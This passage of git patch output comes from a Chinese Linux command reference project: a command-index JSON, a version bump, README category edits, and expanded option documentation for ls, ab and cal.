{"n":"tee","p":"/tee","d":"把数据重定向到给定文件和屏幕上"},"telint":{"n":"telint","p":"/telint","d":"切换当前正在运行系统的运行等级"},"telnet":{"n":"telnet","p":"/telnet","d":"登录远程主机和管理(测试ip端口是否连通)"},"tempfile":{"n":"tempfile","p":"/tempfile","d":"shell中给临时文件命名"},"test":{"n":"test","p":"/test","d":"shell环境中测试条件表达式工具"},"tftp":{"n":"tftp","p":"/tftp","d":"在本机和tftp服务器之间使用TFTP协议传输文件"},"time":{"n":"time","p":"/time","d":"统计给定命令所花费的总时间"},"tload":{"n":"tload","p":"/tload","d":"显示系统负载状况"},"tmux":{"n":"tmux","p":"/tmux","d":"Tmux是一个优秀的终端复用软件，类似GNU Screen，但来自于OpenBSD，采用BSD授权。"},"top":{"n":"top","p":"/top","d":"显示或管理执行中的程序"},"touch":{"n":"touch","p":"/touch","d":"创建新的空文件"},"tput":{"n":"tput","p":"/tput","d":"通过terminfo数据库对终端会话进行初始化和操作"},"tr":{"n":"tr","p":"/tr","d":"将字符进行替换压缩和删除"},"tracepath":{"n":"tracepath","p":"/tracepath","d":"追踪目的主机经过的路由信息"},"traceroute":{"n":"traceroute","p":"/traceroute","d":"显示数据包到主机间的路径"},"trap":{"n":"trap","p":"/trap","d":"指定在接收到信号后将要采取的动作"},"tree":{"n":"tree","p":"/tree","d":"树状图列出目录的内容"},"tty":{"n":"tty","p":"/tty","d":"显示连接到当前标准输入的终端设备文件名。"},"type":{"n":"type","p":"/type","d":"显示指定命令的类型"},"ulimit":{"n":"ulimit","p":"/ulimit","d":"控制shell程序的资源"},"umask":{"n":"umask","p":"/umask","d":"用来设置限制新建文件权限的掩码"},"umount":{"n":"umount","p":"/umount","d":"用于卸载已经加载的文件系统"},"unalias":{"n":"unalias","p":"/unalias","d":"删除由alias设置的别名"},"uname":{"n":"uname","p":"/uname","d":"显示Linux系统信息"},"unarj":{"n":"unarj","p":"/unarj","d":"解压缩由arj命令创建的压缩包"},"uncompress":{"n":"uncompress","p":"/uncompress","d":"用来解压.Z文件"},"unexpand":{"n":"unexpand","p":"/unexpand","d":"将文件的空白字符转换为制表符"},"uniq":{"n":"uniq","p":"/uniq","d":"报告或忽略文件中的重复行"},"unlink":{"n":"unlink","p":"/unlink","d":"系统调用函数unlink去删除指定的文件"},"unprotoize":{"n":"unprotoize","p":"/unprotoize","d":"删除C语言源代码文件中的函数原型"},"unset":{"n":"unset","p":"/unset","d":"删除指定的shell变量或函数"},"unzip":{"n":"unzip","p":"/unzip","d":"用于解压缩由zip命令压缩的压缩包"},"updatedb":{"n":"updatedb","p":"/updatedb","d":"创建或更新slocate命令所必需的数据库文件"},"uptime":{"n":"uptime","p":"/uptime","d":"查看Linux系统负载信息"},"useradd":{"n":"useradd","p":"/useradd","d":"创建的新的系统用户"},"userdel":{"n":"userdel","p":"/userdel","d":"用于删除给定的用户以及与用户相关的文件"},"usermod":{"n":"usermod","p":"/usermod","d":"用于修改用户的基本信息"},"usernetctl":{"n":"usernetctl","p":"/usernetctl","d":"被允许时操作指定的网络接口"},"users":{"n":"users","p":"/users","d":"显示当前登录系统的所有用户"},"uucico":{"n":"uucico","p":"/uucico","d":"UUCP文件传输服务程序。"},"uupick":{"n":"uupick","p":"/uupick","d":"命令处理传送进来的文件。"},"uuto":{"n":"uuto","p":"/uuto","d":"将文件传送到远端的UUCP主机。"},"vdfuse":{"n":"vdfuse","p":"/vdfuse","d":"VirtualBox软件挂载VDI分区文件工具"},"vgchange":{"n":"vgchange","p":"/vgchange","d":"修改卷组属性"},"vgconvert":{"n":"vgconvert","p":"/vgconvert","d":"转换卷组元数据格式"},"vgcreate":{"n":"vgcreate","p":"/vgcreate","d":"用于创建LVM卷组"},"vgdisplay":{"n":"vgdisplay","p":"/vgdisplay","d":"显示LVM卷组的信息"},"vgextend":{"n":"vgextend","p":"/vgextend","d":"向卷组中添加物理卷"},"vgreduce":{"n":"vgreduce","p":"/vgreduce","d":"从卷组中删除物理卷"},"vgremove":{"n":"vgremove","p":"/vgremove","d":"用于用户删除LVM卷组"},"vgrename":{"n":"vgrename","p":"/vgrename","d":"使用vgrename命令可以重命名卷组的名称。"},"vgscan":{"n":"vgscan","p":"/vgscan","d":"扫描并显示系统中的卷组"},"vi":{"n":"vi","p":"/vi","d":"功能强大的纯文本编辑器"},"vmstat":{"n":"vmstat","p":"/vmstat","d":"显示虚拟内存状态"},"volname":{"n":"volname","p":"/volname","d":"显示指定的ISO-9660格式的设备的卷名称"},"w":{"n":"w","p":"/w","d":"显示目前登入系统的用户信息"},"wait":{"n":"wait","p":"/wait","d":"等待进程执行完后返回"},"wall":{"n":"wall","p":"/wall","d":"向系统当前所有打开的终端上输出信息"},"watch":{"n":"watch","p":"/watch","d":"可以将命令的输出结果输出到标准输出设备，多用于周期性执行命令/定时执行命令"},"wc":{"n":"wc","p":"/wc","d":"统计文件的字节数、字数、行数"},"wget":{"n":"wget","p":"/wget","d":"Linux系统下载文件工具"},"whatis":{"n":"whatis","p":"/whatis","d":"查询一个命令执行什么功能"},"whereis":{"n":"whereis","p":"/whereis","d":"查找二进制程序、代码等相关文件路径"},"which":{"n":"which","p":"/which","d":"查找并显示给定命令的绝对路径"},"who":{"n":"who","p":"/who","d":"显示目前登录系统的用户信息"},"whoami":{"n":"whoami","p":"/whoami","d":"打印当前有效的用户名称"},"write":{"n":"write","p":"/write","d":"向指定登录用户终端上发送信息"},"xargs":{"n":"xargs","p":"/xargs","d":"给其他命令传递参数的一个过滤器"},"xauth":{"n":"xauth","p":"/xauth","d":"显示和编辑被用于连接X服务器的认证信息"},"xclip":{"n":"xclip","p":"/xclip","d":"管理 X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具。"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file diff --git a/package.json b/package.json index 89269b6177f..14672d6c2a6 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "linux-command", - "version": "1.2.5", + "version": "1.2.6", "description": "Linux Command", "main": "dist/data.json", "scripts": { From e56fa7a4a72afc68d0076ea2479b1fb112070533 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Mon, 13 May 2019 20:50:47 +0800 Subject: [PATCH 0016/1019] Modify text. #100 --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index ae1a5a884f2..83b30c7af24 100644 --- a/README.md +++ b/README.md @@ -85,7 +85,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 - [Linux命令分类](#linux命令分类) - [文件管理](#文件管理) File Management - [文件传输](#文件传输) File Transfer - - [文档编辑](#文档编辑) File Editor + - [文本处理](#文本处理) File Editor - [备份压缩](#备份压缩) File Compression - [系统管理](#系统管理) System Management - [系统设置](#系统设置) System Settings @@ -136,7 +136,7 @@ alias、apmd、aumix、bind、chkconfig、chroot、clock、crontab、declare、d adduser、chfn、chsh、date、exit、finger、free、fwhois、gitps、groupdel、groupmod、halt、id、kill、last、lastb、login、logname、logout、logrotate、newgrp、nice、procinfo、ps、pstree、reboot、renice、rlogin、rsh、rwho、screen、shutdown、sliplogin、su、sudo、suspend、swatch、tload、top、uname、useradd、userconf、userdel、usermod、vlock、w、who、whoami、whois -### 文档编辑 +### 文本处理 col、colrm、comm、csplit、ed、egrep、ex、fgrep、fmt、fold、grep、ispell、jed、joe、join、look、mtype、pico、rgrep、sed、sort、spell、tr、uniq、vi、wc From 2819aeb6c09be29035d4b2cf7a36c0fea162711a Mon Sep 17 00:00:00 2001 From: Huck Huang Date: Mon, 13 May 2019 21:19:26 +0800 Subject: [PATCH 0017/1019] Update REAMDE.md #99 --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 83b30c7af24..05b37f11944 100644 --- a/README.md +++ b/README.md @@ -138,7 +138,7 @@ adduser、chfn、chsh、date、exit、finger、free、fwhois、gitps、groupdel ### 文本处理 -col、colrm、comm、csplit、ed、egrep、ex、fgrep、fmt、fold、grep、ispell、jed、joe、join、look、mtype、pico、rgrep、sed、sort、spell、tr、uniq、vi、wc +awk、col、colrm、comm、csplit、ed、egrep、ex、fgrep、fmt、fold、grep、ispell、jed、joe、join、look、mtype、pico、rgrep、sed、sort、spell、tr、uniq、vi、wc ### 网络通讯 From 4b7010d9f487f0ce8f785614028a09e49e965bb2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= <398188662@qq.com> Date: Tue, 14 May 2019 01:15:20 +0800 Subject: [PATCH 0018/1019] Update ls.md --- command/ls.md | 246 ++++++++++++++++++++++++++++++-------------------- 1 file changed, 147 insertions(+), 99 deletions(-) diff --git a/command/ls.md b/command/ls.md index 7fc2588c861..748bbf08a4c 100644 --- a/command/ls.md +++ b/command/ls.md @@ -10,110 +10,158 @@ ls ### 语法 ```shell -ls（选项）（参数） +ls [选项] [文件名...] ``` ### 选项 ```shell --a, --all # 不隐藏任何以. 开始的项目 --A, --almost-all # 列出除. 及.. 以外的任何项目 - --author # 与-l 同时使用时列出每个文件的作者 --b, --escape # 以八进制溢出序列表示不可打印的字符 - --block-size=SIZE # scale sizes by SIZE before printing them; e.g., - # '--block-size=M' prints sizes in units of - # 1,048,576 bytes; see SIZE format below --B, --ignore-backups # do not list implied entries ending with ~ --c # with -lt: sort by, and show, ctime (time of last - # modification of file status information); - # with -l: show ctime and sort by name; - # otherwise: sort by ctime, newest first --C # list entries by columns - --color[=WHEN] # colorize the output; WHEN can be 'never', 'auto', - # or 'always' (the default); more info below --d, --directory # list directories themselves, not their contents --D, --dired # generate output designed for Emacs' dired mode --f # do not sort, enable -aU, disable -ls --color --F, --classify # append indicator (one of */=>@|) to entries - --file-type # likewise, except do not append '*' - --format=WORD # across -x, commas -m, horizontal -x, long -l, - # single-column -1, verbose -l, vertical -C - --full-time # like -l --time-style=full-iso --g # 类似-l，但不列出所有者 - --group-directories-first - # group directories before files; - # can be augmented with a --sort option, but any - # use of --sort=none (-U) disables grouping --G, --no-group # 以一个长列表的形式，不输出组名 --h, --human-readable # 与-l 一起，以易于阅读的格式输出文件大小 - (例如 1K 234M 2G) - --si # 同上面类似，但是使用1000 为基底而非1024 --H, --dereference-command-line - # follow symbolic links listed on the command line - --dereference-command-line-symlink-to-dir - # follow each command line symbolic link - # that points to a directory - --hide=PATTERN # do not list implied entries matching shell PATTERN - # (overridden by -a or -A) - --indicator-style=WORD # append indicator with style WORD to entry names: - # none (default), slash (-p), - # file-type (--file-type), classify (-F) --i, --inode # print the index number of each file --I, --ignore=PATTERN # do not list implied entries matching shell PATTERN --k, --kibibytes # default to 1024-byte blocks for disk usage --l # 使用较长格式列出信息 --L, --dereference # 当显示符号链接的文件信息时，显示符号链接所指示 - # 的对象而并非符号链接本身的信息 --m # 所有项目以逗号分隔，并填满整行行宽 --n, --numeric-uid-gid # 类似 -l，但列出UID 及GID 号 --N, --literal # 输出未经处理的项目名称 (如不特别处理控制字符) --o # 类似 -l，但不列出有关组的信息 --p, --indicator-style=slash # 对目录加上表示符号"/" --q, --hide-control-chars # print ? instead of nongraphic characters - --show-control-chars # show nongraphic characters as-is (the default, - # unless program is 'ls' and output is a terminal) --Q, --quote-name # enclose entry names in double quotes - --quoting-style=WORD # use quoting style WORD for entry names: - # literal, locale, shell, shell-always, c, escape --r, --reverse # 逆序排列 --R, --recursive # 递归显示子目录 --s, --size # 以块数形式显示每个文件分配的尺寸 --S # sort by file size - --sort=WORD # sort by WORD instead of name: none (-U), size (-S), - # time (-t), version (-v), extension (-X) - --time=WORD # with -l, show time as WORD instead of default - # modification time: atime or access or use (-u) - # ctime or status (-c); also use specified time - # as sort key if --sort=time - --time-style=STYLE # with -l, show times using style STYLE: - # full-iso, long-iso, iso, locale, or +FORMAT; - # FORMAT is interpreted like in 'date'; if FORMAT - # is FORMAT1FORMAT2, then FORMAT1 applies - # to non-recent files and FORMAT2 to recent files; - # if STYLE is prefixed with 'posix-', STYLE - # takes effect only outside the POSIX locale --t # sort by modification time, newest first --T, --tabsize=COLS # assume tab stops at each COLS instead of 8 --u # with -lt: sort by, and show, access time; - # with -l: show access time and sort by name; - # otherwise: sort by access time --U # do not sort; list entries in directory order --v # natural sort of (version) numbers within text --w, --width=COLS # assume screen width instead of current value --x # list entries by lines instead of by columns --X # sort alphabetically by entry extension --1 # list one file per line - -SELinux options: - ---lcontext # Display security context. Enable -l. Lines - # will probably be too wide for most displays. --Z, --context # Display security context so it fits on most - # displays. Displays only mode, user, group, - # security context and file name. ---scontext # Display only security context and file name. - --help # 显示此帮助信息并退出 - --version # 显示版本信息并退出 +-C # 多列输出，纵向排序。 +-F # 每个目录名加 "/" 后缀，每个 FIFO 名加 "|" 后缀， 每个可运行名加“ * ”后缀。 +-R # 递归列出遇到的子目录。 +-a # 列出所有文件，包括以 "." 开头的隐含文件。 +-c # 使用“状态改变时间”代替“文件修改时间”为依据来排序（使用“-t”选项时）或列出（使用“-l”选项时）。 +-d # 将目录名象其它文件一样列出，而不是列出它们的内容。 +-i # 输出文件前先输出文件系列号（即 i 节点号: i-node number）。 -l 列出（以单列格式）文件模式（file mode），文件的链 接数，所有者名，组名，文件大小（以字节为单位），时间信息，及文件名。缺省时，时间信息显示最近修改时间；可以以选项“-c”和“-u”选择显示其它两种时间信息。对于设 备文件，原先显示文件大小的区域通常显示的是主要和次要的号（majorand minor device numbers）。 +-q # 将文件名中的非打印字符输出为问号。（对于到终端的输出这是缺省的。） +-r # 逆序排列。 +-t # 按时间信息排序。 +-u # 使用最近访问时间代替最近修改时间为依据来排序（使用“-t”选项时）或列出（使用“-l”选项时）。 +-1 # 单列输出。 +-1, --format=single-column # 一行输出一个文件（单列输出）。如标准输出不是到终端，此选项就是缺省选项。 +-a, --all # 列出目录中所有文件，包括以“.”开头的文件。 +-b, --escape # 把文件名中不可输出的字符用反斜杠加字符编号(就象在 C 语言里一样)的形式列出。 +-c, --time=ctime, --time=status + # 按文件状态改变时间（i节点中的ctime）排序并输出目录内 + # 容。如采用长格式输出（选项“-l”），使用文件的状态改 + # 变时间取代文件修改时间。【译注：所谓文件状态改变（i节 + # 点中以ctime标志），既包括文件被修改，又包括文件属性（ 如所有者、组、链接数等等）的变化】 +-d, --directory + # 将目录名象其它文件一样列出，而不是列出它们的内容。 +-f # 不排序目录内容；按它们在磁盘上存储的顺序列出。同时启 动“ -a ”选项，如果在“ -f ”之前存在“ -l + # ”、“ - -color ”或“ -s ”，则禁止它们。 +-g # 忽略，为兼容UNIX用。 +-i, --inode + # 在每个文件左边打印 i 节点号（也叫文件序列号和索引号: file serial number and index num‐ + # ber）。i节点号在每个特定的文件系统中是唯一的。 +-k, --kilobytes + # 如列出文件大小，则以千字节KB为单位。 +-l, --format=long, --format=verbose + # 除每个文件名外，增加显示文件类型、权限、硬链接数、所 有者名、组名、大小（ byte + # ）、及时间信息（如未指明是 其它时间即指修改时间）。对于6个月以上的文件或超出未来 1 + # 小时的文件，时间信息中的时分将被年代取代。 + # 每个目录列出前，有一行“总块数”显示目录下全部文件所 占的磁盘空间。块默认是 1024 + # 字节；如果设置了 POSIXLY_CORRECT 的环境变量，除非用“ -k ”选项，则默认块大小是 512 字 + # 节。每一个硬链接都计入总块数（因此可能重复计数），这无 疑是个缺点。 + +# 列出的权限类似于以符号表示（文件）模式的规范。但是 ls + # 在每套权限的第三个字符中结合了多位（ multiple bits ） 的信息，如下： s 如果设置了 setuid + # 位或 setgid 位，而且也设置了相应的可执行位。 S 如果设置了 setuid 位或 setgid + # 位，但是没有设置相应的可执行位。 t 如果设置了 sticky 位，而且也设置了相应的可执行位。 T + # 如果设置了 sticky 位，但是没有设置相应的可执行位。 x + # 如果仅仅设置了可执行位而非以上四种情况。 - 其它情况（即可执行位未设置）。 +-m, --format=commas + # 水平列出文件，每行尽可能多，相互用逗号和一个空格分隔。 +-n, --numeric-uid-gid + # 列出数字化的 UID 和 GID 而不是用户名和组名。 +-o # 以长格式列出目录内容，但是不显示组信息。等于使用“ --format=long --no-group + # ”选项。提供此选项是为了与其它版本的 ls 兼容。 +-p # 在每个文件名后附上一个字符以说明该文件的类型。类似“ -F ”选项但是不 标示可执行文件。 +-q, --hide-control-chars + # 用问号代替文件名中非打印的字符。这是缺省选项。 +-r, --reverse + # 逆序排列目录内容。 +-s, --size + # 在每个文件名左侧输出该文件的大小，以 1024 字节的块为单位。如果设置了 POSIXLY_CORRECT + # 的环境变量，除非用“ -k ”选项，块大小是 512 字节。 +-t, --sort=time + # 按文件最近修改时间（ i 节点中的 mtime ）而不是按文件名字典序排序，新文件 靠前。 +-u, --time=atime, --time=access, --time=use + # 类似选项“ -t ”，但是用文件最近访问时间（ i 节点中的 atime ）取代文件修 + # 改时间。如果使用长格式列出，打印的时间是最近访问时间。 +-w, --width cols + # 假定屏幕宽度是 cols （ cols 以实际数字取代）列。如未用此选项，缺省值是这 + # 样获得的：如可能先尝试取自终端驱动，否则尝试取自环境变量 COLUMNS （如果设 + # 置了的话），都不行则取 80 。 + +-x, --format=across, --format=horizontal + # 多列输出，横向排序。 + +-A, --almost-all + # 显示除 "." 和 ".." 外的所有文件。 + +-B, --ignore-backups + # 不输出以“ ~ ”结尾的备份文件，除非已经在命令行中给出。 + +-C, --format=vertical + # 多列输出，纵向排序。当标准输出是终端时这是缺省项。使用命令名 dir 和 d 时， 则总是缺省的。 + +-D, --dired + # 当采用长格式（“-l”选项）输出时，在主要输出后，额外打印一行： //DIRED// BEG1 END1 BEG2 + # END2 ... + +# BEGn 和 ENDn 是无符号整数，记录每个文件名的起始、结束位置在输出中的位置（ +# 字节偏移量）。这使得 Emacs 易于找到文件名，即使文件名包含空格或换行等非正 +# 常字符也无需特异的搜索。 +# +# 如果目录是递归列出的（“ -R ”选项），每个子目录后列出类似一行： + # //SUBDIRED// BEG1 END1 ... 【译注：我测试了 TurboLinux4.0 和 RedHat6.1 ，发现它们都是在 “ + # //DIRED// BEG1... ”之后列出“ //SUBDIRED// BEG1 ... ”，也即只有一个 + # 而不是在每个子目录后都有。而且“ //SUBDIRED// BEG1 ... ”列出的是各个子目 录名的偏移。】 + +-F, --classify, --file-type + # 在每个文件名后附上一个字符以说明该文件的类型。“ * ”表示普通的可执行文件； “ / ”表示目录；“ + # @ ”表示符号链接；“ | ”表示FIFOs；“ = ”表示套接字 (sockets) ；什么也没有则表示普通文件。 + +-G, --no-group + # 以长格式列目录时不显示组信息。 + +-I, --ignorepattern + # 除非在命令行中给定，不要列出匹配shell文件名匹配式（pattern ，不是指一般 + # 表达式）的文件。在shell中，文件名以"."起始的不与在文件名匹配式(pattern) + # 开头的通配符匹配。 + +-L, --dereference + # 列出符号链接指向的文件的信息，而不是符号链接本身。 + +-N, --literal + # 不要用引号引起文件名。 + +-Q, --quote-name + # 用双引号引起文件名，非打印字符以 C 语言的方法表示。 + +-R, --recursive + # 递归列出全部目录的内容。 + +-S, --sort=size + # 按文件大小而不是字典序排序目录内容，大文件靠前。 + +-T, --tabsize cols + # 假定每个制表符宽度是 cols 。缺省为 8。为求效率， ls 可能在输出中使用制表符。 若 cols 为 + 0，则不使用制表符。 + +-U, --sort=none + # 不排序目录内容；按它们在磁盘上存储的顺序列出。（选项“-U”和“-f”的不 + # 同是前者不启动或禁止相关的选项。）这在列很大的目录时特别有用，因为不加排序 + # 能显著的加快速度。 + +-X, --sort=extension + # 按文件扩展名（由最后的 "." 之后的字符组成）的字典序排序。没有扩展名的先列 出。 + +--color[=when] + # 指定是否使用颜色区别文件类别。环境变量 LS_COLORS 指定使用的颜色。如何设置 这个变量见 dir‐ + # colors(1) 。 when 可以被省略，或是以下几项之一： +none # 不使用颜色，这是缺省项。 + # auto 仅当标准输出是终端时使用。 always 总是使用颜色。指定 --color 而且省略 when 时就等同于 + # --color=always 。 + +--full-time + # 列出完整的时间，而不是使用标准的缩写。格式如同 date(1) 的缺省格式；此格式 + # 是不能改变的，但是你可以用 cut(1) 取出其中的日期字串并将结果送至命令 “ date -d ”。 + +# 输出的时间包括秒是非常有用的。（ Unix 文件系统储存文件的时间信息精确到秒， + # 因此这个选项已经给出了系统所知的全部信息。）例如，当你有一个 Makefile 文件 + # 不能恰当的生成文件时，这个选项会提供帮助。 ``` ### 参数 From b2c3852ce279886803f9e6aa072c7d22eb2ea306 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= <398188662@qq.com> Date: Tue, 14 May 2019 01:21:56 +0800 Subject: [PATCH 0019/1019] Update ab.md --- command/ab.md | 121 +++++++++++++++++++++++++++++++++++++++++--------- 1 file changed, 100 insertions(+), 21 deletions(-) diff --git a/command/ab.md b/command/ab.md index 66e3b352d26..c3f54e49006 100644 --- a/command/ab.md +++ b/command/ab.md @@ -5,34 +5,113 @@ Apache服务器的性能测试工具 ## 补充说明 -**ab命令** 是Apache的Web服务器的性能测试工具，它可以测试安装Web服务器每秒种处理的HTTP请求。 +**ab命令** 是一个测试你 Apache http 服务器的工具，你可以通过这个工具，指定一个单位时间内向 apache 发出的请求数量来看看你的 Apache 和机器配合的性能如何。 ### 语法 -``` -ab(选项)(参数) +```shell +ab [ -A auth-username:password ] [ -c concurrency ] [ -C cookie-name=value +] [ -d ] [ -e csv-file ] [ -g gnuplot-file ] [ -h ] [ -H custom-header ] [ +-i ] [ -k ] [ -n requests ] [ -p POST-file ] [ -P proxy-auth-user‐ +name:password ] [ -q ] [ -s ] [ -S ] [ -t timelimit ] [ -T content-type ] +[ -v verbosity] [ -V ] [ -w ] [ -x -attributes ] [ -X proxy[:port] +] [ -y -attributes ] [ -z
-attributes ] [http://]host‐ +name[:port]/path ``` ### 选项 ```shell --A：指定连接服务器的基本的认证凭据； --c：指定一次向服务器发出请求数； --C：添加cookie； --g：将测试结果输出为“gnuolot”文件； --h：显示帮助信息； --H：为请求追加一个额外的头； --i：使用“head”请求方式； --k：激活HTTP中的“keepAlive”特性； --n：指定测试会话使用的请求数； --p：指定包含数据的文件； --q：不显示进度百分比； --T：使用POST数据时，设置内容类型头； --v：设置详细模式等级； --w：以HTML表格方式打印结果； --x：以表格方式输出时，设置表格的属性； --X：使用指定的代理服务器发送请求； --y：以表格方式输出时，设置表格属性。 +-A auth-username:password + # 支持基本的验证证书,用户名和密码之间使用"冒号" : + # 分隔开,ab将以明文方式传送过去.不管服务器是不是需要 + # ,也就是说你的服务器需要支持401认证. + +-c concurrency + # 同时向服务器端发送的请求数目，默认状态下是一次 只执行一个http请求. + +-C cookie-name=value + # Add a Cookie: line to the request. The argument is typically in the + # form of a name=value pair. This field is repeatable. + +-d # Do not display the "percentage served within XX [ms] table". + # (legacy support). + +-e csv-file + # Write a Comma separated value (CSV) file which contains for each + # percentage (from 1% to 100%) the time (in milli seconds) it took to + # serve that percentage of the requests. This is usually more useful + # than the 'gnuplot' file; as the results are already 'binned'. + +-g gnuplot-file + # Write all measured values out as a 'gnuplot' or TSV (Tab separate + # values) file. This file can easily be imported into packages like + # Gnuplot, IDL, Mathematica, Igor or even Excell. The labels are on + # the first line of the file. +-h # 显示使用说明 +-H custom-header + # 向请求包追加附加的标题字串.此参数应该是有效的标题 行(header + # line)形式,通常使用冒号":"来分隔有效配对 (valid pair)例如 'Accept- + # Encoding: zip/zop;8 bit'; + +-i # 使用一个 http 头(HEAD) 来替换 GET方法.不可以掺入POST 方法 + +-k # 允许http KeepAlive ；也就是说执行多个请求在一个 http + # 会话当中，默认是不允许的也就是no KeepAlive啦;) + +-n requests + # 执行一次测试会话的时候所发出的请求数目,默认是执行一个单一的请求 + # 当然了这样的测试结果也就没什么意义了 + +-p POST-file + # 测试程序也就是ab,将向Apache server发送带有HTTP POST 的请求. + +-P proxy-auth-username:password + # 当需要通过代理测试一台 HTTP 服务器的时候而你的代理 + # 又需要用户名密码验证,这时你可以使用这个选项,同样 + # 用户名与密码之间使用冒号":"分隔开,ab将之以明文的方式 + # 发送出去,当然,前提是你的代理是处于407认证状态的 + +-q # When processing more than 150 requests, ab outputs a progress count + # on stderr every 10% or 100 requests or so. The -q flag will sup‐ + # press these messages. + +-s # When compiled in (ab -h will show you) use the SSL protected https + # rather than the http protocol. This feature is experimental and + # very rudimentary. You probably do not want to use it. + +-S # Do not display the median and standard deviation values, nor dis‐ + # play the warning/error messages when the average and median are + # more than one or two times the standard deviation apart. And de‐ + # fault to the min/avg/max values. (legacy support). + +-t timelimit + # 设置测试的时间的长短，使用这个选项ab将自动设置 + # 测试请求会话数目为50000，然后以你设置的时间为 + # 固定周期.默认状态下是没有时限的，也就是直到完成 + # 你所设置的请求数目为止. + +-T content-type + # 内容类型标头,使用在POST数据的时候. + +-v verbosity + # 设置冗余级别,4级打印出每个请求标头的详细信息, + # 3级打印出回应代码(例如,404,200),2级打印出警告 信息和指示消息 + +-V # 显示版本号并且退出 +-w # 打印输出结果到HTML表中. 默认的表是两列n行白底黑框 + +-x -attributes + # 使用字串来描述表的属性,该属性字串应该插入到
+ +-X proxy[:port] + # Use a proxy server for the requests. + +-y -attributes + # 用于生成html表格每行的属性名 () + +-z
-attributes + # 用于生成html表格每列的属性名 () ``` ### 参数 @@ -40,4 +119,4 @@ ab(选项)(参数) 主机：被测试主机。 - \ No newline at end of file + From 81c79e112441f89ce149849fd99cf225a20e62c3 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= <398188662@qq.com> Date: Tue, 14 May 2019 01:27:26 +0800 Subject: [PATCH 0020/1019] Update cal.md --- command/cal.md | 27 ++++++++++++++++++--------- 1 file changed, 18 insertions(+), 9 deletions(-) diff --git a/command/cal.md b/command/cal.md index 6a3a78128ca..e5c69313e93 100644 --- a/command/cal.md +++ b/command/cal.md @@ -5,23 +5,23 @@ cal ## 补充说明 -**cal命令** 用于显示当前日历，或者指定日期的日历。 +**cal命令** 用于显示当前日历，或者指定日期的日历，如果没有指定参数，则显示当前月份。 ### 语法 ```shell -cal(选项)(参数) +cal [ -mjy ] [ 月份 ] [ 年份 ] ``` ### 选项 ```shell --l：显示单月输出； --3：显示临近三个月的日历； --s：将星期日作为月的第一天； --m：将星期一作为月的第一天； --j：显示“julian”日期； --y：显示当前年的日历。 +-l # 显示单月输出； +-3 # 显示临近三个月的日历； +-s # 将星期日作为月的第一天； +-m # 显示星期一作为一周的第一天.. (缺省为星期日.) +-j # 显示儒略历的(Julian)日期 (以 1 为基的天数, 从 1 月 1 日开始计数) . +-y # 显示当前年份的日历.. ``` ### 参数 @@ -33,6 +33,15 @@ cal(选项)(参数) ### 实例 +一个单一的参数指定要显示的年份 (1 - 9999) ; 注意年份必须被完全地指定: cal 89 不会 显示1989年的日历. 两个参数表示月份 (1 - 12) 和年份. 如果没有指定参数, +则显示当前月份的日历. + +一年从Jan 1 (1 月 1 日) 开始. + +格里高利历法改革(Gregorian Reformation)被认为发生于 1752 年 9 月 3 日. 在此之前, 多数国家已经认可这项改革(尽管有一些直到 20 世纪初才认可它). 那天之后的 10 +天在这项改革被略去了, 所以那个月的日历有点不太寻常. + + 单独执行cal命令会打印出日历： ```shell @@ -69,4 +78,4 @@ cal(选项)(参数) ``` - \ No newline at end of file + From 07436bbb82030c63f81de8140a90e6cf80861690 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= <398188662@qq.com> Date: Tue, 14 May 2019 01:28:04 +0800 Subject: [PATCH 0021/1019] Update cal.md --- command/cal.md | 17 ++++++++--------- 1 file changed, 8 insertions(+), 9 deletions(-) diff --git a/command/cal.md b/command/cal.md index e5c69313e93..959dd6fbb1d 100644 --- a/command/cal.md +++ b/command/cal.md @@ -7,6 +7,14 @@ cal **cal命令** 用于显示当前日历，或者指定日期的日历，如果没有指定参数，则显示当前月份。 +一个单一的参数指定要显示的年份 (1 - 9999) ; 注意年份必须被完全地指定: cal 89 不会 显示1989年的日历. 两个参数表示月份 (1 - 12) 和年份. 如果没有指定参数, +则显示当前月份的日历. + +一年从Jan 1 (1 月 1 日) 开始. + +格里高利历法改革(Gregorian Reformation)被认为发生于 1752 年 9 月 3 日. 在此之前, 多数国家已经认可这项改革(尽管有一些直到 20 世纪初才认可它). 那天之后的 10 